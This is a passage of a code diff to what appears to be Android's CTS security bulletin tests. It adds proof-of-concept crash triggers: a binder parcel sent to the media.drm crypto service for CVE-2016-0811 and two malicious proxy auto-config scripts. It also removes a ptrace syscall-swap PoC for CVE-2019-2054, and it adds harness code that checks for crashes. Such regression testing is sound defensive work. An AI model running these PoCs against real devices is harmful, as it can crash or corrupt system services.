msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
+ "Found: \"" + procs.get(0) + "\"";
assertEquals(msg, executable, procs.get(0).procTitle);
}
-
if (exeProcs != null) {
- String msg = "Expected 1 process with executable \"" + executable + "\""
+ String msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
+ + " Instead found it running in the domain \"" + exeProcs.get(0).label + "\"";
+ assertNotNull(msg, procs);
+
+ msg = "Expected 1 process with executable \"" + executable + "\""
+ " Found: \"" + procs + "\"";
assertEquals(msg, 1, exeProcs.size());
@@ -1237,7 +1239,7 @@
/* permissioncontroller may or may not be running */
@CddTest(requirement="9.7")
public void testPermissionControllerDomain() throws DeviceNotAvailableException {
- assertDomainZeroOrOne("u:r:permissioncontroller_app:s0:c66,c256,c512,c768", "com.google.android.permissioncontroller");
+ assertDomainZeroOrOne("u:r:permissioncontroller_app:s0", "com.google.android.permissioncontroller");
}
/*
@@ -1327,6 +1329,14 @@
Matcher m = p.matcher(line);
if(m.matches()) {
String domainLabel = m.group(1);
+ // clean up the domainlabel
+ String[] parts = domainLabel.split(":");
+ if (parts.length > 4) {
+ // we have an extra categories bit at the end consisting of cxxx,cxxx ...
+ // just make the domain out of the first 4 parts
+ domainLabel = String.join(":", parts[0], parts[1], parts[2], parts[3]);
+ }
+
String user = m.group(2);
int pid = Integer.parseInt(m.group(3));
int ppid = Integer.parseInt(m.group(4));
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 442ee49..5fbfbd5 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -43,6 +43,12 @@
<option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
<option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
+ <!--__________________-->
+ <!-- Bulletin 2016-02 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-0811->/data/local/tmp/CVE-2016-0811" />
+
+ <!--__________________-->
<!-- Bulletin 2016-04 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
@@ -189,11 +195,6 @@
<option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
<option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
- <!--__________________-->
- <!-- Bulletin 2019-05 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2019-2054->/data/local/tmp/CVE-2019-2054" />
-
<option name="append-bitness" value="true" />
</target_preparer>
@@ -205,6 +206,7 @@
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="OomCatcher.apk" />
+ <option name="test-file-name" value="MainlineModuleDetector.apk" />
</target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/securitybulletin/res/bug_138441919.pac b/hostsidetests/securitybulletin/res/bug_138441919.pac
new file mode 100644
index 0000000..61a9ee2
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/bug_138441919.pac
@@ -0,0 +1,6 @@
+function FindProxyForURL(url, host){
+ Object.defineProperty(Promise, Symbol.species, { value: 0 });
+ var p = new Promise(function() {});
+ p.then();
+ return "DIRECT";
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/res/bug_138442295.pac b/hostsidetests/securitybulletin/res/bug_138442295.pac
new file mode 100644
index 0000000..fc8fd5f
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/bug_138442295.pac
@@ -0,0 +1,7 @@
+function FindProxyForURL(url, host){
+ _v3 = ({ _v7 = (function outer() {
+ for ([...[]][function inner() {}] in []) {}
+ })} = {}) => {};
+ _v3();
+ return "DIRECT";
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
similarity index 92%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
index 1cb925f..3da902d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
@@ -15,8 +15,8 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2019-2054
-LOCAL_SRC_FILES := poc.c
+LOCAL_MODULE := CVE-2016-0811
+LOCAL_SRC_FILES := poc.cpp
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
@@ -35,6 +35,5 @@
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS = -Wall -Werror
-
+LOCAL_CFLAGS += -Wall -Werror
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
new file mode 100644
index 0000000..19cee94
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
@@ -0,0 +1,73 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <mediadrm/ICrypto.h>
+#include <mediadrm/IDrm.h>
+#include <mediadrm/IMediaDrmService.h>
+
+using namespace android;
+
+template <typename T>
+void mediaPoc(BpInterface<T> *sit) {
+ Parcel data, reply;
+ data.writeInterfaceToken(sit->getInterfaceDescriptor());
+ data.writeInt32(0);
+ data.writeInt32(0);
+ static const uint8_t kDummy[16] = {0};
+ data.write(kDummy, 16);
+ data.write(kDummy, 16);
+ const int wsize = 16 * 1024;
+ sp<MemoryDealer> dealer = new MemoryDealer(wsize);
+ sp<IMemory> memory = dealer->allocate(wsize);
+ data.writeInt32(wsize);
+ data.writeStrongBinder(IInterface::asBinder(memory));
+ const int ss = 0x1;
+ data.writeInt32(0xffffff00);
+ data.writeInt32(ss);
+ CryptoPlugin::SubSample samples[ss];
+ for (int i = 0; i < ss; i++) {
+ samples[i].mNumBytesOfEncryptedData = 0;
+ samples[i].mNumBytesOfClearData = wsize;
+ }
+ data.write(samples, sizeof(CryptoPlugin::SubSample) * ss);
+ char out[wsize] = {0};
+ reply.read(out, wsize);
+}
+
+static const uint8_t kClearKeyUUID[16] = {0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2,
+ 0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E,
+ 0x52, 0xE2, 0xFB, 0x4B};
+
+int main(void) {
+ status_t st;
+ sp<ICrypto> crypto =
+ interface_cast<IMediaDrmService>(
+ defaultServiceManager()->getService(String16("media.drm")))
+ ->makeCrypto();
+
+ sp<IDrm> drm = interface_cast<IMediaDrmService>(
+ defaultServiceManager()->getService(String16("media.drm")))
+ ->makeDrm();
+
+ Vector<uint8_t> sess;
+ st = drm->createPlugin(kClearKeyUUID, (String8) "test");
+ st = drm->openSession(DrmPlugin::kSecurityLevelMax, sess);
+ st = crypto->createPlugin(kClearKeyUUID, sess.array(), sess.size());
+ BpInterface<ICrypto> *sit = static_cast<BpInterface<ICrypto> *>(crypto.get());
+ mediaPoc(sit);
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
index 58e3c84..48ece98 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
@@ -13,6 +13,11 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
+
+#include "../includes/common.h"
+
+#if _64BIT
+
#include <cutils/ashmem.h>
#include <dlfcn.h>
#include <fcntl.h>
@@ -34,7 +39,7 @@
#include "IPCThreadState.h"
#include "binder/IServiceManager.h"
-#include "../includes/common.h"
+
using namespace android;
@@ -169,3 +174,10 @@
pthread_join(t3, NULL);
return EXIT_SUCCESS;
}
+
+#else
+int main() {
+ // do nothing on 32-bit because we can't compile on 32-bit and we need a
+ // binary to push or the filepusher will break on 32-bit.
+}
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/poc.c
deleted file mode 100644
index 578c90a..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/poc.c
+++ /dev/null
@@ -1,135 +0,0 @@
-/**
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <err.h>
-#include <errno.h>
-#include <linux/elf.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ptrace.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <sys/uio.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#include "../includes/common.h"
-
-time_t test_started;
-
-int main(void) {
- pid_t my_pid = -1;
-
- setbuf(stdout, NULL);
-
- pid_t child = fork();
-
- switch (child) {
- case -1:
- // child = -1 => the creation of a child process was unsuccessful.
- err(1, "fork");
- return EXIT_FAILURE;
-
- case 0:
- // child = 0 => Returned to the newly created child process
- my_pid = getpid();
- test_started = start_timer();
-
- while (timer_active(test_started)) {
- errno = 0;
- int res = syscall(__NR_gettid, 0, 0);
- if (res != my_pid) {
- printf("%d (%s)\n", res, strerror(errno));
- return EXIT_VULNERABLE;
- }
- }
- return EXIT_SUCCESS;
-
- default:
- // child > 0 => Returned to parent process.
- // The value contains process ID of its newly created child process.
- sleep(1);
-
- if (ptrace(PTRACE_ATTACH, child, NULL, NULL)) {
- err(1, "main() : ptrace attach");
- return EXIT_FAILURE;
- }
-
- int status;
- if (waitpid(child, &status, 0) != child) {
- err(1, "main() : wait for child");
- return EXIT_FAILURE;
- }
-
- if (ptrace(PTRACE_SYSCALL, child, NULL, NULL)) {
- err(1, "main() : ptrace syscall entry");
- return EXIT_FAILURE;
- }
-
- if (waitpid(child, &status, 0) != child) {
- err(1, "main() : wait for child");
- return EXIT_FAILURE;
- }
-
- int syscallno;
- struct iovec iov = {.iov_base = &syscallno, .iov_len = sizeof(syscallno)};
-
- if (ptrace(PTRACE_GETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) {
- err(1, "main() : ptrace getregs");
- return EXIT_FAILURE;
- }
-
- printf("main() : seeing syscall %d\n", syscallno);
- if (syscallno != __NR_gettid) {
- err(1, "main() : not gettid");
- return EXIT_FAILURE;
- }
-
- syscallno = __NR_swapon;
- if (ptrace(PTRACE_SETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) {
- err(1, "main() : ptrace setregs");
- return EXIT_FAILURE;
- }
-
- if (ptrace(PTRACE_DETACH, child, NULL, NULL)) {
- err(1, "main() : ptrace syscall");
- return EXIT_FAILURE;
- }
- // kill child proces
- int killRet = kill(child, SIGCONT);
- if (killRet == -1) {
- printf(
- "main() : killing child process(%d) with SIGCONT on error (%s)\n",
- child, strerror(errno));
- }
-
- // wait for child process stop
- int waitPid = waitpid(child, &status, 0);
- if (waitPid == -1) {
- perror("main() waitpid: waitpid = -1 and continue wait");
- return EXIT_FAILURE;
- }
-
- if (WIFEXITED(status)) {
- // detected vulnarable exit status of child process
- printf("main() : Exit Vulnerable: child = %d, status=%d\n", child, WEXITSTATUS(status));
- return WEXITSTATUS(status);
- }
- break;
- }
-
- return EXIT_SUCCESS;
-}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 6cd53a6..e91e8f0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,6 +16,7 @@
package android.security.cts;
+import com.android.compatibility.common.util.CrashUtils;
import com.android.ddmlib.NullOutputReceiver;
import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.device.ITestDevice;
@@ -26,9 +27,15 @@
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
+import java.util.List;
+import java.util.regex.Pattern;
import java.util.concurrent.TimeUnit;
import java.util.Scanner;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
import static org.junit.Assert.*;
public class AdbUtils {
@@ -250,4 +257,70 @@
runCommandLine("rm " + targetPath, device);
return code;
}
+
+ /**
+ * Runs the poc binary and asserts that there are no security crashes that match the expected
+ * process pattern.
+ * @param pocName a string path to poc from the /res folder
+ * @param device device to be ran on
+ * @param processPatternStrings a Pattern string to match the crash tombstone process
+ */
+ public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
+ String... processPatternStrings) throws Exception {
+ AdbUtils.runCommandLine("logcat -c", device);
+ // account for the poc timer of 5 minutes (+15 seconds for safety)
+ AdbUtils.runPocNoOutput(pocName, device, 315);
+ assertNoCrashes(device, processPatternStrings);
+ }
+
+ /**
+ * Dumps logcat and asserts that there are no security crashes that match the expected process.
+ * By default, checks min crash addresses
+ * pattern. Ensure that adb logcat -c is called beforehand.
+ * @param device device to be ran on
+ * @param processPatternStrings a Pattern string to match the crash tombstone process
+ */
+ public static void assertNoCrashes(ITestDevice device, String... processPatternStrings)
+ throws Exception {
+ assertNoCrashes(device, true, processPatternStrings);
+ }
+
+ /**
+ * Dumps logcat and asserts that there are no security crashes that match the expected process
+ * pattern. Ensure that adb logcat -c is called beforehand.
+ * @param device device to be ran on
+ * @param checkMinAddress if the minimum fault address should be respected
+ * @param processPatternStrings a Pattern string to match the crash tombstone process
+ */
+ public static void assertNoCrashes(ITestDevice device, boolean checkMinAddress,
+ String... processPatternStrings) throws Exception {
+ String logcat = AdbUtils.runCommandLine("logcat -d *:S DEBUG:V", device);
+
+ Pattern[] processPatterns = new Pattern[processPatternStrings.length];
+ for (int i = 0; i < processPatternStrings.length; i++) {
+ processPatterns[i] = Pattern.compile(processPatternStrings[i]);
+ }
+ JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
+ JSONArray securityCrashes =
+ CrashUtils.matchSecurityCrashes(crashes, checkMinAddress, processPatterns);
+
+ if (securityCrashes.length() == 0) {
+ return; // no security crashes detected
+ }
+
+ StringBuilder error = new StringBuilder();
+ error.append("Security crash detected:\n");
+ error.append("Process patterns:");
+ for (String pattern : processPatternStrings) {
+ error.append(String.format(" '%s'", pattern));
+ }
+ error.append("\nCrashes:\n");
+ for (int i = 0; i < crashes.length(); i++) {
+ try {
+ JSONObject crash = crashes.getJSONObject(i);
+ error.append(String.format("%s\n", crash));
+ } catch (JSONException e) {}
+ }
+ fail(error.toString());
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
new file mode 100644
index 0000000..e62a7b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
@@ -0,0 +1,44 @@
+package android.security.cts;
+
+import com.android.ddmlib.Log;
+
+import com.google.common.collect.ImmutableSet;
+
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class HostsideMainlineModuleDetector {
+ private static final String LOG_TAG = "MainlineModuleDetector";
+
+ private SecurityTestCase context;
+
+ private static ImmutableSet<String> playManagedModules;
+
+ HostsideMainlineModuleDetector(SecurityTestCase context) {
+ this.context = context;
+ }
+
+ synchronized Set<String> getPlayManagedModules() throws Exception {
+ if (playManagedModules == null) {
+ AdbUtils.runCommandLine("logcat -c", context.getDevice());
+ String output = AdbUtils.runCommandLine(
+ "am start com.android.cts.mainlinemoduledetector/.MainlineModuleDetector",
+ context.getDevice());
+ Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+ "am output: " + output);
+ Thread.sleep(5 * 1000L);
+ String logcat = AdbUtils.runCommandLine("logcat -d -s MainlineModuleDetector:I",
+ context.getDevice());
+ Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+ "Found logcat output: " + logcat);
+ Matcher matcher = Pattern.compile("Play managed modules are: <(.*?)>").matcher(logcat);
+ if (matcher.find()) {
+ playManagedModules = ImmutableSet.copyOf(matcher.group(1).split(","));
+ } else {
+ playManagedModules = ImmutableSet.of();
+ }
+ }
+ return playManagedModules;
+ }
+}
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
similarity index 62%
copy from tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
copy to hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
index 37276e2..4a638a9 100644
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
@@ -1,4 +1,4 @@
-/*
+/**
* Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,15 +14,16 @@
* limitations under the License.
*/
-package com.android.tests.atomicinstall.testapp;
+package android.security.cts;
-import android.app.Activity;
-import android.os.Bundle;
+import android.platform.test.annotations.SecurityTest;
-public class MainActivity extends Activity {
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
+public class Poc16_02 extends SecurityTestCase {
+ /**
+ * b/25800375
+ */
+ @SecurityTest(minPatchLevel = "2016-02")
+ public void testPocCVE_2016_0811() throws Exception {
+ AdbUtils.runPocAssertNoCrashes("CVE-2016-0811", getDevice(), "mediaserver");
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index 9a7e62a..25c1373 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -44,10 +44,6 @@
*/
@SecurityTest(minPatchLevel = "2016-04")
public void testPocCVE_2016_2412() throws Exception {
- AdbUtils.runCommandLine("logcat -c" , getDevice());
- AdbUtils.runPoc("CVE-2016-2412", getDevice(), 60);
- String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> system_server <<<",
- logcatOut);
+ AdbUtils.runPocAssertNoCrashes("CVE-2016-2412", getDevice(), "system_server");
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 20536ea..a0aecc5e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -32,11 +32,7 @@
*/
@SecurityTest(minPatchLevel = "2016-07")
public void testPocCVE_2016_3746() throws Exception {
- AdbUtils.runCommandLine("logcat -c" , getDevice());
- AdbUtils.runPoc("CVE-2016-3746", getDevice(), 60);
- String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<",
- logcat);
+ AdbUtils.runPocAssertNoCrashes("CVE-2016-3746", getDevice(), "mediaserver");
}
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index 98994e1..6daa385 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -26,9 +26,6 @@
*/
@SecurityTest(minPatchLevel = "2016-10")
public void testPocCVE_2016_3913() throws Exception {
- AdbUtils.runCommandLine("logcat -c",getDevice());
- AdbUtils.runPoc("CVE-2016-3913", getDevice(), 60);
- String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine("Fatal signal 11.*?/system/bin/mediaserver",logcat);
+ AdbUtils.runPocAssertNoCrashes("CVE-2016-3913", getDevice(), "mediaserver");
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index e2e5134..f9d4e1d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -35,11 +35,7 @@
*/
@SecurityTest(minPatchLevel = "2017-02")
public void testPocCVE_2017_0415() throws Exception {
- AdbUtils.runCommandLine("logcat -c", getDevice());
- AdbUtils.runPoc("CVE-2017-0415", getDevice(), 60);
- String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
- logcatOut);
+ AdbUtils.runPocAssertNoCrashes("CVE-2017-0415", getDevice(), "mediaserver");
}
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index e0294d3..179b0cb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -94,11 +94,7 @@
*/
@SecurityTest(minPatchLevel = "2017-03")
public void testPocCVE_2017_0479() throws Exception {
- AdbUtils.runCommandLine("logcat -c" , getDevice());
- AdbUtils.runPocNoOutput("CVE-2017-0479", getDevice(), 60);
- String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
- "audioserver <<<", logcatOut);
+ AdbUtils.runPocAssertNoCrashes("CVE-2017-0479", getDevice(), "audioserver");
}
/*
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index e1c4977..3fbf3d2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -33,9 +33,6 @@
" -t audio/amr", getDevice());
// Wait for intent to be processed before checking logcat
Thread.sleep(5000);
- String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\)" +
- "[\\s\\n\\S]*>>> /system/bin/" +
- "mediaserver <<<", logcat);
+ AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 67becec..131b580 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -21,13 +21,13 @@
@SecurityTest
public class Poc17_12 extends SecurityTestCase {
- /**
- * b/38045794
- */
- @SecurityTest(minPatchLevel = "2017-12")
- public void testPocCVE_2017_6262() throws Exception {
- if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
- AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
+ /**
+ * b/38045794
+ */
+ @SecurityTest(minPatchLevel = "2017-12")
+ public void testPocCVE_2017_6262() throws Exception {
+ if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
+ AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
+ }
}
- }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
index 9278af4..b270c69 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -37,24 +37,11 @@
}
/**
- * CVE-2018-5892
+ * b/73172817
*/
- @SecurityTest(minPatchLevel = "2018-06")
- public void testPocCVE_2018_5892() throws Exception {
- String result = AdbUtils.runCommandLine(
- "pm list package com.emoji.keyboard.touchpal", getDevice());
- assertFalse(result.contains("com.emoji.keyboard.touchpal"));
+ @SecurityTest
+ public void testPocCVE_2018_9344() throws Exception {
+ AdbUtils.runPocAssertNoCrashes(
+ "CVE-2018-9344", getDevice(), "android\\.hardware\\.drm@\\d\\.\\d-service");
}
-
- /**
- * b/73172817
- */
- @SecurityTest
- public void testPocCVE_2018_9344() throws Exception {
- AdbUtils.runCommandLine("logcat -c", getDevice());
- AdbUtils.runPoc("CVE-2018-9344", getDevice(), 30);
- String output = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine(">>> /vendor/bin/hw/android.hardware.cas@1.0-service <<<" +
- ".*?signal 11 \\(SIGSEGV\\)", output);
- }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
index 9595d5a..173508c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -22,14 +22,12 @@
@SecurityTest
public class Poc18_07 extends SecurityTestCase {
- /**
- * b/76221123
- */
- @SecurityTest(minPatchLevel = "2018-07")
- public void testPocCVE_2018_9424() throws Exception {
- AdbUtils.runCommandLine("logcat -c" , getDevice());
- AdbUtils.runPoc("CVE-2018-9424", getDevice(), 60);
- String result = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine("Fatal signal", result);
- }
+ /**
+ * b/76221123
+ */
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testPocCVE_2018_9424() throws Exception {
+ AdbUtils.runPocAssertNoCrashes(
+ "CVE-2018-9424", getDevice(), "android\\.hardware\\.drm@\\d\\.\\d-service");
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
index 796119d..1615947 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -50,4 +50,15 @@
int code = AdbUtils.runProxyAutoConfig("CVE-2019-2047", getDevice());
assertTrue(code != 139); // 128 + signal 11
}
+
+ /**
+ * CVE-2019-2257
+ */
+ @SecurityTest(minPatchLevel = "2019-05")
+ public void testPocCVE_2019_2257() throws Exception {
+ String result = AdbUtils.runCommandLine(
+ "dumpsys package com.qualcomm.qti.telephonyservice", getDevice());
+ assertFalse(result.contains(
+ "permission com.qualcomm.permission.USE_QTI_TELEPHONY_SERVICE"));
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
new file mode 100644
index 0000000..2007914
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
@@ -0,0 +1,44 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+
+import static org.junit.Assert.assertFalse;
+
+@SecurityTest
+public class Poc19_11 extends SecurityTestCase {
+
+ /**
+ * b/138441919
+ */
+ @SecurityTest(minPatchLevel = "2019-11")
+ public void testPocBug_138441919() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("bug_138441919", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
+ }
+
+ /**
+ * b/138442295
+ */
+ @SecurityTest(minPatchLevel = "2019-11")
+ public void testPocBug_138442295() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("bug_138442295", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 479f18d..0939627 100644
